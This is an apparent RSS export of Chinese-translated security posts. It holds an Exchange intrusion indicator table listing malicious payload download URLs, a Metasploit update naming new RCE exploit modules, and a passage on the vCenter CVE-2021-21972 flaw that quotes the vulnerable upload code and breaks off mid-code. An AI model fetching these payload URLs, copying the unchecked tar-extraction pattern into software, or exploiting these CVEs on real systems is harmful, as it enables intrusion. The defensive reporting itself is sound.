style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">076d3ec587fc14d1ff76d4ca792274d1e684e0f09018b33da04fb1d5947a7d26</span></p></td></tr><tr style="height:16px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="16"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">URL</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="16"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Consolas;color:#55585A;"><a href="http://103.212.223.210:9900/nvidia.msi" target="_blank">http://103.212.223.210:9900/nvidia.msi</a></span></p></td></tr><tr style="height:19px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="19"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">URL</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="19"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Consolas;color:#55585A;"><a href="http://86.105.18.116/news/code" target="_blank">http://86.105.18.116/news/code</a></span></p></td></tr><tr style="height:16px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="16"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">URL</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="16"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Consolas;color:#55585A;"><a href="http://86.105.18.116/news/opera_browser.dll" target="_blank">http://86.105.18.116/news/opera_browser.dll</a></span></p></td></tr><tr style="height:19px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="19"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">URL</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="19"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Consolas;color:#55585A;"><a href="http://86.105.18.116/news/opera_browser.exe" target="_blank">http://86.105.18.116/news/opera_browser.exe</a></span></p></td></tr><tr style="height:16px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="16"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">URL</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="16"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Consolas;color:#55585A;"><a href="http://86.105.18.116/news/opera_browser.png" target="_blank">http://86.105.18.116/news/opera_browser.png</a></span></p></td></tr><tr style="height:19px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="19"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">URL</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="19"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Consolas;color:#55585A;"><a href="http://89.34.111.11/3.avi" target="_blank">http://89.34.111.11/3.avi</a></span></p></td></tr><tr style="height:19px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="19"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">URL</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="19"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Consolas;color:#55585A;"><a href="http://microsoftsoftwaredownload.com:8080/c103w-at.zip" target="_blank">http://microsoftsoftwaredownload.com:8080/c103w-at.zip</a></span></p></td></tr><tr style="height:16px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="16"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">URL</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="16"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Consolas;color:#55585A;"><a href="http://microsoftsoftwaredownload.com:8080/m103w.zip" target="_blank">http://microsoftsoftwaredownload.com:8080/m103w.zip</a></span></p></td></tr><tr style="height:19px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="19"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">URL</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="19"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Consolas;color:#55585A;"><a href="http://p.estonine.com/p?e" target="_blank">http://p.estonine.com/p?e</a></span></p></td></tr><tr style="height:19px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="19"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">URL</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="19"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">http://&lt;REDACTED_HOSTNAME&gt;/owa/auth/ /zfwqn</span></p></td></tr><tr style="height:16px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="16"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">URL</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="16"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">http://&lt;REDACTED_HOSTNAME&gt;/owa/auth/%20/zfwqn</span></p></td></tr></tbody></table><p><br/></p><p><span style="color: rgb(233, 95, 38);"><strong>参考链接</strong></span><br/></p><ul style="list-style-type: disc;" class="list-paddingleft-2"><li style="font-size: 12px;color: rgb(0, 213, 255);"><p><span style="font-size: 12px;color: rgb(0, 213, 255);"><a href="https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/" target="_blank">https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/</a></span></p></li><li style="font-size: 12px;color: rgb(0, 213, 255);"><p><span style="font-size: 12px;color: rgb(0, 213, 255);"><a href="https://aka.ms/ExchangeVulns" target="_blank">https://aka.ms/ExchangeVulns</a></span></p></li><li style="font-size: 12px;color: rgb(0, 213, 255);"><p><span style="font-size: 12px;color: rgb(0, 213, 255);"><a href="https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/" target="_blank">https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/</a></span></p></li><li style="font-size: 12px;color: rgb(0, 213, 255);"><p><span style="font-size: 12px;color: rgb(0, 213, 255);"><a href="https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html" target="_blank">https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html</a></span></p></li><li style="font-size: 12px;color: rgb(0, 213, 255);"><p><span style="font-size: 12px;color: rgb(0, 213, 255);"><a href="https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html" target="_blank">https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html</a></span></p></li><li style="font-size: 12px;color: rgb(0, 213, 255);"><p><span style="font-size: 12px;color: rgb(0, 213, 255);"><a href="https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-china-chopper.pdf" target="_blank">https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-china-chopper.pdf</a></span></p></li></ul>



<p><a href="https://blog.rapid7.com/2021/03/23/defending-against-the-zero-day-analyzing-attacker-behavior-post-exploitation-of-microsoft-exchange/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=bea13a39&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI4OTUxMzA1NA%3D%3D%26mid%3D2247484529%26idx%3D1%26sn%3D3e26bbaa968c8a60c5ca29949b76c163%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 26 Mar 2021 16:12:00 +0800</pubDate>
    </item>
    <item>
      <title>Metasploit最新资讯</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI4OTUxMzA1NA==&amp;mid=2247484520&amp;idx=1&amp;sn=62a6ead7a798f53643cd6e2d13dfeaaa</link>
      <description>Metasploit最新资讯更新！添加了新功能！</description>
      <content:encoded><![CDATA[<p>
<span>翻译：李鹏</span> <span>2021-03-18 16:30</span> <span style="display: inline-block;"></span>
</p>

<p>Metasploit最新资讯更新！添加了新功能！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2c118910&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Flbnpx8zSNFUNgQhWlKcaInSjP6NxIaurPiazwoeJ7R6nfrEJfglLAriaOK1fe4bibhAj0YmmCF6dFy2QTVBLSxIDA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2><span style="color: rgb(233, 95, 38);"><strong><span style="color: rgb(233, 95, 38);font-family: 微软雅黑, sans-serif;font-size: 17px;">新功能，新功能！</span></strong></span></h2><p style="text-indent:28px;"><span style="font-size: 15px;">现如今随着漏洞数量的增加，Metasploit的模块也随之增长至3.5k+的规模。但随着模块的增多，我们如何快速的找到所需要的模块？亦或是你最常使用的模块！为此kalba-security(</span><span style="font-size: 14px;color: rgb(0, 213, 255);"><em><a href="https://github.com/kalba-security/metasploit-framework" target="_blank">https://github.com/kalba-security/metasploit-framework</a></em></span><span style="font-size: 15px;">)为Metasploit添加了新的命令—</span><span style="font-size: 15px;color: rgb(233, 95, 38);"><strong>favorite</strong></span><span style="font-size: 15px;">。此新命令允许用户将他们最常用的模块保存在可查看的列表中，需要使用时即可快速调用！同时也感谢space-r7(</span><span style="font-size: 14px;"><em><a href="https://github.com/space-r7" target="_blank">https://github.com/space-r7</a></em></span><span style="font-size: 15px;">)帮助解决这个问题！</span></p><p style="text-indent:28px;"><span style="font-size: 15px;"><img class="rich_pages js_insertlocalimg" data-ratio="0.3157894736842105" data-s="300,640" style="text-align: center;white-space: normal;" data-type="png" data-w="836" src="https://wechat2rss.xlab.app/img-proxy/?k=575e5cb3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFUNgQhWlKcaInSjP6NxIaurSibKdhfjCia065xeqUNQDDFrooOibWtm56Q7N3LkSXYpgVcom7zNJJhQg%2F640%3Fwx_fmt%3Dpng"/></span></p><p><br/></p><h2><strong><span style="font-family: 微软雅黑, sans-serif;font-size: 17px;color: rgb(233, 95, 38);">新模块（3）</span></strong></h2><ul style="list-style-type:disc;" class="list-paddingleft-2"><li style="font-size: 15px;"><p><span style="font-size: 15px;">VMware vCenter Server未经验证的OVA文件上传RCE，由wvu、MikhailKlyuchnikov、Viss和mr_me利用CVE-2021-21972漏洞增加的模块，用于验证VMware Center中未经验证的RCE。</span></p><p><span style="font-size: 15px;"><img class="rich_pages js_insertlocalimg" data-ratio="0.20408163265306123" data-s="300,640" style="text-align: center;white-space: normal;" data-type="png" data-w="1274" src="https://wechat2rss.xlab.app/img-proxy/?k=096d886d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFUNgQhWlKcaInSjP6NxIaurY0Vu32wp5eglkSva1k3eC9VBHykOfuzQicDX1TydQmAtic2gQVus44dw%2F640%3Fwx_fmt%3Dpng"/></span></p></li></ul><p><br/></p><ul style="list-style-type:disc;" class="list-paddingleft-2"><li style="font-size: 15px;"><p><span style="font-size: 15px;">HPE Systems Insight Manager AMF反序列化RCE，由Grant Willcox、Harrison Neal和Jang开发，利用漏洞ZDI-20-1449（CVE-2020-7200），针对7.6.x版本的HPE Systems Insight Manager软件。运行HPE SIM软件的用户（通常是本地管理员）可以通过向/simsearch/messagebroker/amfsecure页发送序列化的AMF请求来获得未经验证的代码执行。</span></p><p><span style="font-size: 15px;"><img class="rich_pages js_insertlocalimg" data-ratio="0.20859375" data-s="300,640" style="text-align: center;white-space: normal;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=b2e88768&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFUNgQhWlKcaInSjP6NxIauruz3psxlUXT8O6Z7r3ia2tMcpzxktVibVZQAzRrEbOP6rUYJfaoUOf0LA%2F640%3Fwx_fmt%3Dpng"/></span></p></li></ul><p><br/></p><ul style="list-style-type:disc;" class="list-paddingleft-2"><li style="font-size: 15px;"><p><span style="font-size: 15px;">Microsoft Windows RRAS 服务 MIBEntryGet溢出，由Equation Group、Shadow Brokers、Víctor Portal和BCOLE组成，该漏洞利用CVE-2017-8461，这是Windows Server 2003上路由和远程访问服务（RRAS）中的远程RCE，被确定为CVE-2017-8461。这允许使用系统用户权限执行任意命令。</span></p><p><span style="font-size: 15px;"><img class="rich_pages js_insertlocalimg" data-ratio="0.21903959561920808" data-s="300,640" style="text-align: center;white-space: normal;" data-type="png" data-w="1187" src="https://wechat2rss.xlab.app/img-proxy/?k=ff442ea3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFUNgQhWlKcaInSjP6NxIaure6DBkbGRom2rhNCPBUsS9TgoWh72ajVd8kYJppUnichMhcUEYDuHSjg%2F640%3Fwx_fmt%3Dpng"/></span></p></li></ul><p><br/></p><h2><span style="color: rgb(233, 95, 38);"><strong><span style="color: rgb(233, 95, 38);font-size: 17px;">已修复的Bug</span></strong></span></h2><ul style="list-style-type:disc;" class="list-paddingleft-2"><li><p style="text-align:left;"><span style="font-size: 15px;">gwillcox-r7 在项目#14792(</span><span style="font-size: 14px;color: rgb(0, 213, 255);"><em><a href="https://github.com/rapid7/metasploit-framework/pull/14792" target="_blank">https://github.com/rapid7/metasploit-framework/pull/14792</a></em></span><span style="font-size: 15px;">)中更新了 11 个针对 Windows 系统的模块，这些模块错误地检查了在某些情况下导致 WOW64 检测中断的环境架构。</span></p></li><li><p><span style="font-size: 15px;">dwelch-r7在项目#14871(</span><span style="font-size: 14px;color: rgb(0, 213, 255);"><em><a href="https://github.com/rapid7/metasploit-framework/pull/14871" target="_blank">https://github.com/rapid7/metasploit-framework/pull/14871</a></em></span><span style="font-size: 15px;">)中做了调整以确保BinData库始终可用于模块内。</span></p></li><li><p><span style="font-size: 15px;">dwelch-r7在项目#14874(</span><span style="font-size: 14px;color: rgb(0, 213, 255);"><em><a href="https://github.com/rapid7/metasploit-framework/pull/14874" target="_blank">https://github.com/rapid7/metasploit-framework/pull/14874</a></em></span><span style="font-size: 15px;">) 中修复了在外部工具中使用Msf:：RPC:：Client时自动加载的问题。</span></p><p style="text-align: center;"><br/></p></li></ul><h2><span style="font-size: 17px;color: rgb(233, 95, 38);"><strong>如何获取最新版本</strong></span></h2><p style="text-indent:28px;"><span style="font-size: 15px;">与过去一样，您可以使用命令msfupdate更新到最新的 Metasploit Framework，也可以通过GitHub获取最新的更新信息:</span></p><ul style="list-style-type:disc;" class="list-paddingleft-2"><li><p style="text-align:left;"><span style="font-size: 15px;">Pull Requests 6.0.33...6.0.34(</span><span style="font-size: 14px;color: rgb(0, 213, 255);"><em><a href="https://github.com/rapid7/metasploit-framework" target="_blank">https://github.com/rapid7/metasploit-framework</a></em></span><em><span style="font-size: 15px;"> </span></em><span style="font-size: 15px;">)</span></p></li><li><p style="text-align:left;"><span style="font-size: 15px;">Full diff 6.0.33...6.0.34(</span><span style="font-size: 14px;color: rgb(0, 213, 255);"><em><a href="https://github.com/rapid7/metasploit-framework/compare/6.0.33...6.0.34" target="_blank">https://github.com/rapid7/metasploit-framework/compare/6.0.33...6.0.34</a></em></span><span style="font-size: 15px;">)</span></p></li></ul><p style="text-align:left;text-indent:28px;"><span style="font-size: 15px;">如果您是git用户，那么可以克隆Metasploit Framework repo（</span><span style="font-size: 14px;color: rgb(0, 213, 255);"><em><a href="https://github.com/rapid7/metasploit-framework" target="_blank">https://github.com/rapid7/metasploit-framework</a></em></span><span style="font-size: 15px;">）以获取最新版本。</span></p><p style="text-align:left;text-indent:28px;"><span style="font-size: 15px;">要在不使用git的情况下安装，可以使用只开放源码的Nightly Installers(</span><span style="font-size: 14px;color: rgb(0, 213, 255);"><em><a href="https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers" target="_blank">https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers</a></em></span><span style="font-size: 15px;">)安装程序或binaryinstallers(</span><span style="font-size: 14px;color: rgb(0, 213, 255);"><em><a href="https://www.rapid7.com/products/metasploit/download/" target="_blank">https://www.rapid7.com/products/metasploit/download/</a></em></span><span style="font-size: 15px;">)安装程序（也包括商业版）。</span></p><p><br/></p>



<p><a href="https://blog.rapid7.com/2021/03/12/metasploit-wrap-up-102/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f7d26d00&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI4OTUxMzA1NA%3D%3D%26mid%3D2247484520%26idx%3D1%26sn%3D62a6ead7a798f53643cd6e2d13dfeaaa%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 18 Mar 2021 16:30:00 +0800</pubDate>
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      <title>VMware vCenter Server CVE-2021-21972远程代码执行漏洞</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI4OTUxMzA1NA==&amp;mid=2247484505&amp;idx=1&amp;sn=90289053f10f66496fae4acef3a85d12</link>
      <description>2021年2月23日，VMware发布了一份公告（VMSA-2021-0002），公布了影响VMware ESXi、VMware vCenterServer和VMware Cloud Foundation的三个威胁</description>
      <content:encoded><![CDATA[<p>
<span>翻译：李鹏</span> <span>2021-03-05 11:08</span> <span style="display: inline-block;"></span>
</p>

<p>2021年2月23日，VMware发布了一份公告（VMSA-2021-0002），公布了影响VMware ESXi、VMware vCenterServer和VMware Cloud Foundation的三个威胁</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=fb91e690&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Flbnpx8zSNFXTGZMYD1ONRunNwIWKbzp3ezdXfIbBr5UWTTXfP6uYanibg6j85yOc59ONB0prD3wXc5bHehVY7Nw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="margin-bottom: 15px;"><span style="font-size: 15px;">2021年2月23日，VMware发布了一份公告（VMSA-2021-0002），公布了影响VMware ESXi、VMware vCenterServer和VMware Cloud Foundation的三个威胁。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">vSphere Client（HTML5）受影响的版本：</span></section><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p style="margin-bottom: 15px;"><span style="font-size: 15px;">7.0 U1c 之前的 7.0 版本</span></p></li><li><p style="margin-bottom: 15px;"><span style="font-size: 15px;">6.7 U3l 之前的 6.7 版本</span></p></li><li><p style="margin-bottom: 15px;"><span style="font-size: 15px;">6.5 U3n 之前的 6.5 版本</span></p></li></ul><section style="margin-bottom: 15px;"><span style="font-size: 15px;">VMware Cloud Foundation受影响的版本：</span></section><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p style="margin-bottom: 15px;"><span style="font-size: 15px;">4.2之前的4.x版本 </span></p></li><li><p style="margin-bottom: 15px;"><span style="font-size: 15px;">3.10.1.2 之前的3.x版本</span></p></li></ul><section style="margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);"><strong><span style="color: rgb(233, 95, 38);font-size: 17px;">漏洞详细信息和建议</span></strong></span></section><section style="margin-bottom: 15px;"><strong><span style="font-size: 15px;color: rgb(233, 95, 38);">CVE-2021-21972</span></strong></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">vSphere Client（HTML5）存在一个远程执行代码漏洞CVE-2021-21972（CVSSv3评分9.8），任何未授权的攻击者都可以通过访问开放的443端口，向服务器发送构造的恶意请求，从而写入webshell，最终造成远程任意代码执行。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">PT Swarm(</span><span style="font-size: 14px;color: rgb(61, 170, 214);"><em><a href="https://swarm.ptsecurity.com/unauth-rce-vmware/" target="_blank">https://swarm.ptsecurity.com/unauth-rce-vmware/</a></em></span><span style="font-size: 15px;">) 详细介绍了这一弱点以及如何利用它：</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">在分析 vSphere Client时，像往常一样使用黑盒和白盒方法进行测试。从 Web 面板中，尝试发送尽可能多的不同请求，但这些请求都没有 Cookie信息。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">发送未经授权的请求后，发现它实际上不需要任何身份验证。于是准备对代码进行分析。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">首先，Web 应用程序是依赖于插件（通常位于单独的.jar文件中）来实现其某些功能。例如：</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">Vropspluginui插件对应文件vropsplugin-service.jar。每个插件必须指定哪些端点需要在 Web 面板中授权才能运行，哪些不需要。此插件被配置为允许未经授权的用户访问它处理的任何 URL。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">通过分析代码，找到了一个vCenter Server的vROPS插件的代码，存在敏感接口。其中 uploadova 接口存在一个上传 OVA 文件的功能：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">@RequestMapping(</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">value</span> = {<span class="code-snippet__string">&#34;/uploadova&#34;</span>},</span></code><code><span class="code-snippet_outer">      method = {RequestMethod.POST}</span></code><code><span class="code-snippet_outer">   )</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">uploadOvaFile</span>(<span class="code-snippet__params">@RequestParam(<span class="code-snippet__keyword">value</span> = <span class="code-snippet__string">&#34;uploadFile&#34;</span>,required = <span class="code-snippet__literal">true</span></span>) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception</span> {</span></code><code><span class="code-snippet_outer">      logger.info(<span class="code-snippet__string">&#34;Entering uploadOvaFile api&#34;</span>);</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">int</span> code = uploadFile.isEmpty() ? <span class="code-snippet__number">400</span> : <span class="code-snippet__number">200</span>;</span></code><code><span class="code-snippet_outer">      PrintWriter wr = <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">         <span class="code-snippet__keyword">if</span> (code != <span class="code-snippet__number">200</span>) {</span></code><code><span class="code-snippet_outer">            response.sendError(code, <span class="code-snippet__string">&#34;Arguments Missing&#34;</span>);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span>;</span></code><code><span class="code-snippet_outer">         }</span></code><code><span class="code-snippet_outer">         wr = response.getWriter();</span></code><code><span class="code-snippet_outer">      } <span class="code-snippet__keyword">catch</span> (IOException var14) {</span></code><code><span class="code-snippet_outer">         var14.printStackTrace();</span></code><code><span class="code-snippet_outer">         logger.info(<span class="code-snippet__string">&#34;upload Ova Controller Ended With Error&#34;</span>);</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">      response.setStatus(code);</span></code><code><span class="code-snippet_outer">      String returnStatus = <span class="code-snippet__string">&#34;SUCCESS&#34;</span>;</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">if</span> (!uploadFile.isEmpty()) {</span></code><code><span class="code-snippet_outer">         <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            logger.info(<span class="code-snippet__string">&#34;Downloading OVA file has been started&#34;</span>);</span></code><code><span class="code-snippet_outer">            logger.info(<span class="code-snippet__string">&#34;Size of the file received  : &#34;</span> + uploadFile.getSize());</span></code><code><span class="code-snippet_outer">            InputStream inputStream = uploadFile.getInputStream();</span></code><code><span class="code-snippet_outer">            File dir = <span class="code-snippet__keyword">new</span> File(<span class="code-snippet__string">&#34;/tmp/unicorn_ova_dir&#34;</span>);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (!dir.exists()) {</span></code><code><span class="code-snippet_outer">               dir.mkdirs();</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">               String[] entries = dir.list();</span></code><code><span class="code-snippet_outer">               String[] var9 = entries;</span></code><code><span class="code-snippet_outer">               <span class="code-snippet__keyword">int</span> var10 = entries.length;</span></code><code><span class="code-snippet_outer">               <span class="code-snippet__keyword">for</span>(<span class="code-snippet__keyword">int</span> var11 = <span class="code-snippet__number">0</span>; var11 &lt; var10; ++var11) {</span></code><code><span class="code-snippet_outer">                  String entry = var9[var11];</span></code><code><span class="code-snippet_outer">                  File currentFile = <span class="code-snippet__keyword">new</span> File(dir.getPath(), entry);</span></code><code><span class="code-snippet_outer">                  currentFile.delete();</span></code><code><span class="code-snippet_outer">               }</span></code><code><span class="code-snippet_outer">               logger.info(<span class="code-snippet__string">&#34;Successfully cleaned : /tmp/unicorn_ova_dir&#34;</span>);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            TarArchiveInputStream <span class="code-snippet__keyword">in</span> = <span class="code-snippet__keyword">new</span> TarArchiveInputStream(inputStream);</span></code><code><span class="code-snippet_outer">            TarArchiveEntry entry = <span class="code-snippet__keyword">in</span>.getNextTarEntry();</span></code><code><span class="code-snippet_outer">            ArrayList result = <span class="code-snippet__keyword">new</span> ArrayList();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">while</span>(entry != <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">               <span class="code-snippet__keyword">if</span> (entry.isDirectory()) {</span></code><code><span class="code-snippet_outer">                  entry = <span class="code-snippet__keyword">in</span>.getNextTarEntry();</span></code><code><span class="code-snippet_outer">               } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                  File curfile = <span class="code-snippet__keyword">new</span> File(<span class="code-snippet__string">&#34;/tmp/unicorn_ova_dir&#34;</span>, entry.getName());</span></code><code><span class="code-snippet_outer">                  File parent = curfile.getParentFile();</span></code><code><span class="code-snippet_outer">                  <span class="code-snippet__keyword">if</span> (!parent.exists()) {</span></code><code><span class="code-snippet_outer">                     parent.mkdirs();</span></code><code><span class="code-snippet_outer">                  }</span></code><code><span class="code-snippet_outer">                  OutputStream <span class="code-snippet__keyword">out</span> = <span class="code-snippet__keyword">new</span> FileOutputStream(curfile);</span></code><code><span class="code-snippet_outer">                  IOUtils.copy(<span class="code-snippet__keyword">in</span>, <span class="code-snippet__keyword">out</span>);</span></code><code><span class="code-snippet_outer">                  <span class="code-snippet__keyword">out</span>.close();</span></code><code><span class="code-snippet_outer">                  result.<span class="code-snippet__keyword">add</span>(entry.getName());</span></code><code><span class="code-snippet_outer">                  entry = <span class="code-snippet__keyword">in</span>.getNextTarEntry();</span></code><code><span class="code-snippet_outer">               }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">in</span>.close();</span></code><code><span class="code-snippet_outer">            logger.info(<span class="code-snippet__string">&#34;Successfully deployed File at Location :/tmp/unicorn_ova_dir&#34;</span>);</span></code><code><span 